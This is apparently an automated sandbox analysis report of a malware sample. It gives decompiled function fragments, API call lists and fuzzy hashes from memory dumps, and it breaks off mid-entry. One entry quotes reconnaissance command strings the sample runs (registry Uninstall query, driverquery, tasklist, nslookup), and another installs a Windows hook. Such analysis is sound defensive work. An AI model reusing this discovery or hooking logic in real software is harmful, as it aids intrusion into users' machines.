Instruction Fuzzy Hash: 641170706053119FDB12EB2CCC8AF9573E8AB05728F150269FA58AF6D6C3709C41C791

Uniqueness

Uniqueness Score: -1.00%

Function 02342B04, Relevance: 6.1, APIs: 4, Instructions: 54memorystringtimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02342B17
lstrlen.KERNEL32(04908DE8), ref: 02342B38
RtlAllocateHeap.NTDLL(00000000,00000014), ref: 02342B50
lstrcpy.KERNEL32(00000000,04908DE8), ref: 02342B62

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Time$AllocateFileHeapSystemlstrcpylstrlen
String ID:
API String ID: 1929783139-0
Opcode ID: 8314324d900293f0dade889e44c877159f09db3bc7c8aa92bfdbe9dfe7642745
Instruction ID: 9cc38e4debb51ff52d79b14159692fc425f31402f031b9eee0a31e7fcfecc518
Opcode Fuzzy Hash: 8314324d900293f0dade889e44c877159f09db3bc7c8aa92bfdbe9dfe7642745
Instruction Fuzzy Hash: 4E01A9B1D04214ABC7119FA99888E5FBBBCAB48700F1445A9FD4AE3241DB30D518CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0234DE56, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 54stringCOMMON

Download Yara Rule

APIs

lstrcmpi.KERNEL32(?,Blocked), ref: 0234DE72
lstrcmpi.KERNEL32(?,Main), ref: 0234DEA7

Strings

Main, xrefs: 0234DEA1
Blocked, xrefs: 0234DE6C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrcmpi
String ID: Blocked$Main
API String ID: 1586166983-1966386946
Opcode ID: 1d48de40baa4d2f7e8568d850da8bba2e603de765a5aa9e082018583233b70eb
Instruction ID: 1c1661a58e2b98df1f949507f77bfb8ba2003360022872566fd4ee2bc5853c53
Opcode Fuzzy Hash: 1d48de40baa4d2f7e8568d850da8bba2e603de765a5aa9e082018583233b70eb
Instruction Fuzzy Hash: 31015E7120024EABAB11EE259C80E7F37EEEF95B54704849AFC0593605CF31F8219B61

Uniqueness

Uniqueness Score: -1.00%

Function 02346779, Relevance: 6.1, APIs: 4, Instructions: 54memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 02346786
RtlAllocateHeap.NTDLL(00000000,00000015), ref: 023467AC
lstrcpy.KERNEL32(00000014,?), ref: 023467D1
memcpy.NTDLL(?,?,?), ref: 023467DE

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeaplstrcpylstrlenmemcpy
String ID:
API String ID: 1388643974-0
Opcode ID: 3e0e30e770269e6750c279be1b773802d7baaac42f60aa2f116385712c8cd79f
Instruction ID: 47131ad856cd3272bded6d38fc7dda7f2836c082c40034108fb08ed4db8d7828
Opcode Fuzzy Hash: 3e0e30e770269e6750c279be1b773802d7baaac42f60aa2f116385712c8cd79f
Instruction Fuzzy Hash: 521137B190060AEFCB21CF58D884E9ABBFDFB48704F108569E85687211C771E914CF90

Uniqueness

Uniqueness Score: -1.00%

Function 003994CC, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E003994CC(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t29;
				void* _t30;
				struct HINSTANCE__* _t31;
				void* _t32;

				_v8 = _t24;
				_t31 = __edx;
				_t23 = __eax;
				_t29 = FindResourceA(__edx, _v8, _a4);
				 *(_t23 + 0x10) = _t29;
				_t33 = _t29;
				if(_t29 == 0) {
					E0039945C(_t23, _t24, _t29, _t31, _t33, _t32);
					_pop(_t24);
				}
				_t5 = _t23 + 0x10; // 0x399570
				_t30 = LoadResource(_t31,  *_t5);
				 *(_t23 + 0x14) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E0039945C(_t23, _t24, _t30, _t31, _t34, _t32);
				}
				_t7 = _t23 + 0x10; // 0x399570
				_push(SizeofResource(_t31,  *_t7));
				_t8 = _t23 + 0x14; // 0x399234
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E003991F4(_t23, _t25, _t18);
			}

0x003994d3
0x003994d6
0x003994d8
0x003994e8
0x003994ea
0x003994ed
0x003994ef
0x003994f2
0x003994f7
0x003994f7
0x003994f8
0x00399502
0x00399504
0x00399507
0x00399509
0x0039950c
0x00399511
0x00399512
0x0039951c
0x0039951d
0x00399521
0x0039952a
0x00399535

APIs

FindResourceA.KERNEL32 ref: 003994E3
LoadResource.KERNEL32(00000000,00399570,00000000,?,?,003953A0,00000000,00000001,00000000,?,0039943C,?,?,00396D9E,00000000), ref: 003994FD
SizeofResource.KERNEL32(00000000,00399570,00000000,00399570,00000000,?,?,003953A0,00000000,00000001,00000000,?,0039943C,?,?,00396D9E), ref: 00399517
LockResource.KERNEL32(00399234,00000000,00000000,00399570,00000000,00399570,00000000,?,?,003953A0,00000000,00000001,00000000,?,0039943C,?), ref: 00399521

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: cbe29ec5da15673a54f612d3ba53e8285bd3988a6f648cbf7a0ff327017dd023
Instruction ID: e93f5eae3730128e52b8a2f083bd7c873bed8cb2b06ece0b5bdf43c116c9f7e8
Opcode Fuzzy Hash: cbe29ec5da15673a54f612d3ba53e8285bd3988a6f648cbf7a0ff327017dd023
Instruction Fuzzy Hash: 8BF031B36052046F5B46FFADA882E6B77DCEE89360311449AF908CB207DE31DD018775

Uniqueness

Uniqueness Score: -1.00%

Function 02353FCE, Relevance: 6.0, APIs: 4, Instructions: 50memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,761CE27E,00000000,?,02354495,00000000,Keys,?,?,?,00000000), ref: 02353FD5
RtlAllocateHeap.NTDLL(00000000,0000000D), ref: 02353FED
memcpy.NTDLL(0000000C,?,00000001,?,00000000), ref: 02354003

Part of subcall function 02344001: StrChrA.SHLWAPI(?,?), ref: 02344027
Part of subcall function 02344001: StrTrimA.SHLWAPI(?,02363530), ref: 02344046
Part of subcall function 02344001: StrChrA.SHLWAPI(?,?), ref: 02344057
Part of subcall function 02344001: StrTrimA.SHLWAPI(00000001,02363530), ref: 02344069

HeapFree.KERNEL32(00000000,00000000), ref: 02354035

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapTrim$AllocateFreelstrlenmemcpy
String ID:
API String ID: 1635803283-0
Opcode ID: 4b30be7f5e4e7485300c7a3b3de783dc90e2d44656371a1c6f74a15796ffea7e
Instruction ID: 5e136674e0b2bf8ce5531678142665bb5d34bbabc3b21f7fcc7fed0210b19ab3
Opcode Fuzzy Hash: 4b30be7f5e4e7485300c7a3b3de783dc90e2d44656371a1c6f74a15796ffea7e
Instruction Fuzzy Hash: 3301A7B1A80321ABE7314E15EC4CF27BBACFF80B55F108425FB499B180D7759895DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0038C990, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0038C990(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t27;
				intOrPtr _t29;
				intOrPtr _t32;
				void* _t34;
				intOrPtr _t35;
				void* _t42;

				_push(__ebx);
				_v24 = 0;
				_push(_t42);
				_push(0x38ca20);
				_push( *[fs:eax]);
				 *[fs:eax] = _t42 + 0xffffffec;
				_t27 = GetLastError();
				if(_t27 == 0) {
					_t29 =  *0x3da1c0; // 0x386e78
					_t34 = E0038B680(_t29, 1);
				} else {
					_v20 = _t27;
					_v16 = 0;
					E0038ADB0(_t27,  &_v24);
					_v12 = _v24;
					_v8 = 0xb;
					_t32 =  *0x3da0e0; // 0x386e70
					_t34 = E0038B6BC(_t27, _t32, 1, __edi, __esi, 1,  &_v20);
				}
				 *((intOrPtr*)(_t34 + 0xc)) = _t27;
				E00383870();
				_pop(_t35);
				 *[fs:eax] = _t35;
				_push(E0038CA27);
				return E00383EBC( &_v24);
			}

0x0038c996
0x0038c999
0x0038c99e
0x0038c99f
0x0038c9a4
0x0038c9a7
0x0038c9af
0x0038c9b3
0x0038c9ec
0x0038c9fe
0x0038c9b5
0x0038c9b5
0x0038c9b8
0x0038c9c1
0x0038c9c9
0x0038c9cc
0x0038c9d6
0x0038c9e8
0x0038c9e8
0x0038ca00
0x0038ca05
0x0038ca0c
0x0038ca0f
0x0038ca12
0x0038ca1f

APIs

GetLastError.KERNEL32(00000000,0038CA20), ref: 0038C9AA

Part of subcall function 0038ADB0: FormatMessageA.KERNEL32(00003200,00000000,00000000,00000000,?,00000100,00000000,00000000,0038C9C6,00000000,0038CA20), ref: 0038ADCF

Strings

xn8, xrefs: 0038C9EC
pn8, xrefs: 0038C9D6
ty8, xrefs: 0038C9DE, 0038C9F4

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessage
String ID: pn8$ty8$xn8
API String ID: 3479602957-2982903290
Opcode ID: 49d6a3b72ffe5240ad492deaf8f9234fdeb12a777da9b3425f0ae7e2e852e500
Instruction ID: 05330cd20d55c30ab29caf392dc31bc587c205bcbefef817feeb404b4cf142df
Opcode Fuzzy Hash: 49d6a3b72ffe5240ad492deaf8f9234fdeb12a777da9b3425f0ae7e2e852e500
Instruction Fuzzy Hash: 271161706143099FD702FF64DC82AAAB7F9EB48300F5144B9E400DB351DB75AA048B61

Uniqueness

Uniqueness Score: -1.00%

Function 0047781F, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0047781F(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E004747B0(_t8, _t1);
				_t16 = E004716F8(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E00479F32(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E004716F8(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E004770FF(_t16);
				}
				return _t18;
			}

0x0047782a
0x0047782b
0x0047782e
0x00477830
0x0047783b
0x0047783f
0x00477844
0x00477848
0x00477850
0x00477855
0x0047785d
0x0047785d
0x00477866
0x0047786a
0x00477870
0x00477873
0x00477879
0x00477879
0x00477881
0x00477881
0x00477888
0x00477888
0x00477893

APIs

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

Part of subcall function 00479F32: wsprintfA.USER32 ref: 00479F8E

lstrlen.KERNEL32(004791A4,00000000,00000000,00000027,00000005,00000000,00000000,00477E27,74666F53,00000000,004791A4,0047D00C,?,004791A4), ref: 00477855
lstrcpy.KERNEL32(00000000,00000000), ref: 00477879
lstrcat.KERNEL32(00000000,00000000), ref: 00477881

Strings

Soft, xrefs: 0047782B, 00477844

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: c3259da212832a39aa7f77f9d1630a1321d9d38ac6ef3baf563ee3983c863e74
Instruction ID: 75205c9dd7509c780aca3cd21fd7f4a5445c53a4438df8320ada8ad36d0ba46c
Opcode Fuzzy Hash: c3259da212832a39aa7f77f9d1630a1321d9d38ac6ef3baf563ee3983c863e74
Instruction Fuzzy Hash: 8201A232100145BBC7123BAADC89EEF3B6D9F85795F45802AF90DA5211DB3C8985C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 0234EB39, Relevance: 6.0, APIs: 4, Instructions: 46fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0235FB2B: lstrlen.KERNEL32(00000000,00000000,00000000,02346067,reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >,00000000,?,driverquery.exe >,00000000,?,tasklist.exe /SVC >,00000000,?,nslookup 127.0.0.1 >,00000000), ref: 0235FB30
Part of subcall function 0235FB2B: RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 0235FB45
Part of subcall function 0235FB2B: wsprintfA.USER32 ref: 0235FB5A
Part of subcall function 0235FB2B: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0235FB78

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0234EB66
GetFileSize.KERNEL32(00000000,00000000), ref: 0234EB75
CloseHandle.KERNEL32(00000000), ref: 0234EB7F
GetLastError.KERNEL32 ref: 0234EB87

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileHeap$AllocateCloseCreateErrorFreeHandleLastSizelstrlenwsprintf
String ID:
API String ID: 4042893638-0
Opcode ID: 42a965f4cac9b30736ddf7f566b504886bc464e286b1288516d8c8b474d54c6d
Instruction ID: 59d2561ccf5228e1809768c868f831ffecc8d3abb630b945e867ec5d5ee6b3ff
Opcode Fuzzy Hash: 42a965f4cac9b30736ddf7f566b504886bc464e286b1288516d8c8b474d54c6d
Instruction Fuzzy Hash: F3F02271908224BBC7206F69DC8CE9FBEEDFF45BB0F108516F90BE1080CA309611C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 0235CACE, Relevance: 6.0, APIs: 4, Instructions: 41filestringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 0235CAE0

Part of subcall function 0235289B: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 023528DC
Part of subcall function 0235289B: GetLastError.KERNEL32 ref: 023528E6
Part of subcall function 0235289B: WaitForSingleObject.KERNEL32(000000C8), ref: 0235290B
Part of subcall function 0235289B: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,?,00000080,00000000), ref: 0235292C
Part of subcall function 0235289B: SetFilePointer.KERNEL32(00000006,00000000,00000000,00000002), ref: 02352954
Part of subcall function 0235289B: WriteFile.KERNEL32(00000006,00001388,?,00000002,00000000), ref: 02352969
Part of subcall function 0235289B: SetEndOfFile.KERNEL32(00000006), ref: 02352976
Part of subcall function 0235289B: CloseHandle.KERNEL32(00000006), ref: 0235298E

WaitForSingleObject.KERNEL32(00002710,00000000), ref: 0235CB03
CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0235CB25
GetLastError.KERNEL32(?,023478EB,.dll,00000000,00001000,00000000,00000000,02342185,?,02342185), ref: 0235CB39

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$Create$ErrorLastObjectSingleWait$CloseHandlePointerWritelstrcat
String ID:
API String ID: 3370347312-0
Opcode ID: 5fc4a9dc4fd4fd51b93bc09cc7784d3eddf2ad37ac19810bafb5dd57180ab480
Instruction ID: eb858042c52e1a302bdd815064b205c3f89df751f442e156a6798b06a704462d
Opcode Fuzzy Hash: 5fc4a9dc4fd4fd51b93bc09cc7784d3eddf2ad37ac19810bafb5dd57180ab480
Instruction Fuzzy Hash: CBF0FF30A84614BBDB210F649C0EF8A3B2EEF04B18F008901FA0AA40D0D77152358B65

Uniqueness

Uniqueness Score: -1.00%

Function 004785A3, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004785A3(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x004785ad
0x004785b1
0x004785c6
0x004785ca
0x004785cd
0x004785d3
0x004785d7
0x004785da
0x004785e5
0x004785dc
0x004785dc
0x004785dc
0x004785da
0x004785f3

APIs

memset.NTDLL ref: 004785B1
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,76712B62), ref: 004785C6
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 004785D3
CloseHandle.KERNEL32(?), ref: 004785E5

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: f42cdea4cc65118a7304e954642b581c07d709fa7810fa7b653de4deba98309c
Instruction ID: e9b3fe1b9e3de065ad61a6a5a880a4c41b5961c7b63bd29bc0eaf632d502022f
Opcode Fuzzy Hash: f42cdea4cc65118a7304e954642b581c07d709fa7810fa7b653de4deba98309c
Instruction Fuzzy Hash: 4FF05EB0144308BFD3105F66DCC4C2BBBACFB46299B11893EF04A91101DA36E9058AB5

Uniqueness

Uniqueness Score: -1.00%

Function 02343E50, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02343E5E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0234FAA6,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 02343E73
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,023413F9,?,?), ref: 02343E80
CloseHandle.KERNEL32(?), ref: 02343E92

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 5e75d8982153c0f69c2af0df70497451d56057e0b6ba5d970ad58a9461409a8f
Instruction ID: 44a1aee3eb8ece2509a44a13149dcd9d9e597866837e8245bbfaf49316de3bc0
Opcode Fuzzy Hash: 5e75d8982153c0f69c2af0df70497451d56057e0b6ba5d970ad58a9461409a8f
Instruction Fuzzy Hash: C1F03AF294530C7FD2205F229C8482BBBECFB41699B2189ADF04682501CA31A85A8F60

Uniqueness

Uniqueness Score: -1.00%

Function 02347FCA, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

memcpy.NTDLL(0236606C,?,00000028,?,Client,?,?), ref: 02347FFC
HeapFree.KERNEL32(00000000,?,Client), ref: 0234802D

Strings

Client, xrefs: 02347FD7
(, xrefs: 02347FE5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapQueryValue$AllocateCloseFreememcpy
String ID: ($Client
API String ID: 1301464996-90774469
Opcode ID: 2a36f598e60013c74de80b578bffc15d1e0a95a22d5e9de713987c9a2286c290
Instruction ID: e3d7242e401dcd0c0301e82239c8f2e06a7253c78090a02a0f7597c0e69cde1f
Opcode Fuzzy Hash: 2a36f598e60013c74de80b578bffc15d1e0a95a22d5e9de713987c9a2286c290
Instruction Fuzzy Hash: DCF044B1D90314FBEF219BC4DC4AF9977ACD704794F108595FA01A6180DBB579A4CF60

Uniqueness

Uniqueness Score: -1.00%

Function 003C6434, Relevance: 6.0, APIs: 4, Instructions: 37
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E003C6434(struct HWND__* __eax, void* __ecx) {
				intOrPtr _t9;
				signed int _t16;
				struct HWND__* _t19;
				DWORD* _t20;

				_t17 = __ecx;
				_push(__ecx);
				_t19 = __eax;
				_t16 = 0;
				if(__eax != 0 && GetWindowThreadProcessId(__eax, _t20) != 0 && GetCurrentProcessId() ==  *_t20) {
					_t9 =  *0x3dbb68; // 0x21413d0
					if(GlobalFindAtomA(E0038437C(_t9)) !=  *0x3dbb64) {
						_t16 = 0 | E003C557C(_t19, _t17) != 0x00000000;
					} else {
						_t16 = 0 | GetPropA(_t19,  *0x3dbb64 & 0x0000ffff) != 0x00000000;
					}
				}
				return _t16;
			}

0x003c6434
0x003c6436
0x003c6437
0x003c6439
0x003c643d
0x003c6454
0x003c646b
0x003c648b
0x003c646d
0x003c647d
0x003c647d
0x003c646b
0x003c6493

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 003C6441
GetCurrentProcessId.KERNEL32(00000000,?,?,-0000000C,00000000,003C64AC,ec<,?,00000000,003C605E,?,-0000000C,?), ref: 003C644A
GlobalFindAtomA.KERNEL32(00000000), ref: 003C645F
GetPropA.USER32(00000000,00000000), ref: 003C6476

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: 700aa605bd66e86026a24a1e6b18008883ab6a700066996e8db358c32b2fdd21
Instruction ID: 3564fd18c5b47a5689aa18d4f93503136778b5e832f2232ef056f54de75129cf
Opcode Fuzzy Hash: 700aa605bd66e86026a24a1e6b18008883ab6a700066996e8db358c32b2fdd21
Instruction Fuzzy Hash: 41F03052206721579A2777B66D83F6F629C9D0975470241AAFC40CE41AD714CC5293E9

Uniqueness

Uniqueness Score: -1.00%

Function 003C55B0, Relevance: 6.0, APIs: 4, Instructions: 35
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E003C55B0(struct HWND__* __eax, void* __ecx) {
				intOrPtr _t5;
				struct HWND__* _t12;
				void* _t15;
				DWORD* _t16;

				_t13 = __ecx;
				_push(__ecx);
				_t12 = __eax;
				_t15 = 0;
				if(__eax != 0 && GetWindowThreadProcessId(__eax, _t16) != 0 && GetCurrentProcessId() ==  *_t16) {
					_t5 =  *0x3dbb6c; // 0x21413ec
					if(GlobalFindAtomA(E0038437C(_t5)) !=  *0x3dbb66) {
						_t15 = E003C557C(_t12, _t13);
					} else {
						_t15 = GetPropA(_t12,  *0x3dbb66 & 0x0000ffff);
					}
				}
				return _t15;
			}

0x003c55b0
0x003c55b2
0x003c55b3
0x003c55b5
0x003c55b9
0x003c55d0
0x003c55e7
0x003c5602
0x003c55e9
0x003c55f7
0x003c55f7
0x003c55e7
0x003c5609

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 003C55BD
GetCurrentProcessId.KERNEL32(?,00000000,00000000,003C6F63,?,?,00000000,00000001,003C6F90), ref: 003C55C6
GlobalFindAtomA.KERNEL32(00000000), ref: 003C55DB
GetPropA.USER32(00000000,00000000), ref: 003C55F2

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: c475e8f290820bef1ea181d14aa6347588b0ab922680f1a5b1d49e8a24c12699
Instruction ID: d50c1ac86bd816e0a9aa5064ec2c342dd56c2b6db670a971c0660810058426ec
Opcode Fuzzy Hash: c475e8f290820bef1ea181d14aa6347588b0ab922680f1a5b1d49e8a24c12699
Instruction Fuzzy Hash: B3F065927017219ACE33B7B96CC2F7A629C89557A174215AAF942CF117D721DC9083B8

Uniqueness

Uniqueness Score: -1.00%

Function 003B89E0, Relevance: 6.0, APIs: 4, Instructions: 34
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B89E0(void* __ecx) {
				void* _t2;
				DWORD* _t7;

				_t2 =  *0x3dbb1c; // 0x2141868
				if( *((char*)(_t2 + 0xa5)) == 0) {
					if( *0x3dbb34 == 0) {
						_t2 = SetWindowsHookExA(3, E003B899C, 0, GetCurrentThreadId());
						 *0x3dbb34 = _t2;
					}
					if( *0x3dbb30 == 0) {
						_t2 = CreateEventA(0, 0, 0, 0);
						 *0x3dbb30 = _t2;
					}
					if( *0x3dbb38 == 0) {
						_t2 = CreateThread(0, 0x3e8, E003B8940, 0, 0, _t7);
						 *0x3dbb38 = _t2;
					}
				}
				return _t2;
			}

0x003b89e1
0x003b89ed
0x003b89f6
0x003b8a08
0x003b8a0d
0x003b8a0d
0x003b8a19
0x003b8a23
0x003b8a28
0x003b8a28
0x003b8a34
0x003b8a47
0x003b8a4c
0x003b8a4c
0x003b8a34
0x003b8a52

APIs

GetCurrentThreadId.KERNEL32(?,003BB1E5,?,?,02141868,00000000,?,003BAB8C), ref: 003B89F8
SetWindowsHookExA.USER32(00000003,003B899C,00000000,00000000), ref: 003B8A08
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,003BB1E5,?,?,02141868,00000000,?,003BAB8C), ref: 003B8A23
CreateThread.KERNEL32(00000000,000003E8,003B8940,00000000,00000000), ref: 003B8A47

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateThread$CurrentEventHookWindows
String ID:
API String ID: 1195359707-0
Opcode ID: 84848348b72065dd1b240f3c2959df89607c7ac68098ce82aa936a97ab6520a7
Instruction ID: 23396272518eb0d6c49cc501a28eeb3c75b9dec00120b130b75002b79886a160
Opcode Fuzzy Hash: 84848348b72065dd1b240f3c2959df89607c7ac68098ce82aa936a97ab6520a7
Instruction Fuzzy Hash: 3CF0D0B0A82304EEF723B750AC57FA5779C9711B15F12145BF3046D5D6CBF154848725

Uniqueness

Uniqueness Score: -1.00%

Function 02351943, Relevance: 6.0, APIs: 4, Instructions: 30sleepmemoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(04908F48), ref: 0235194C
Sleep.KERNEL32(0000000A,?,00000000), ref: 02351956
HeapFree.KERNEL32(00000000,?), ref: 0235197E
RtlLeaveCriticalSection.NTDLL(04908F48), ref: 0235199C

Memory Dump Source

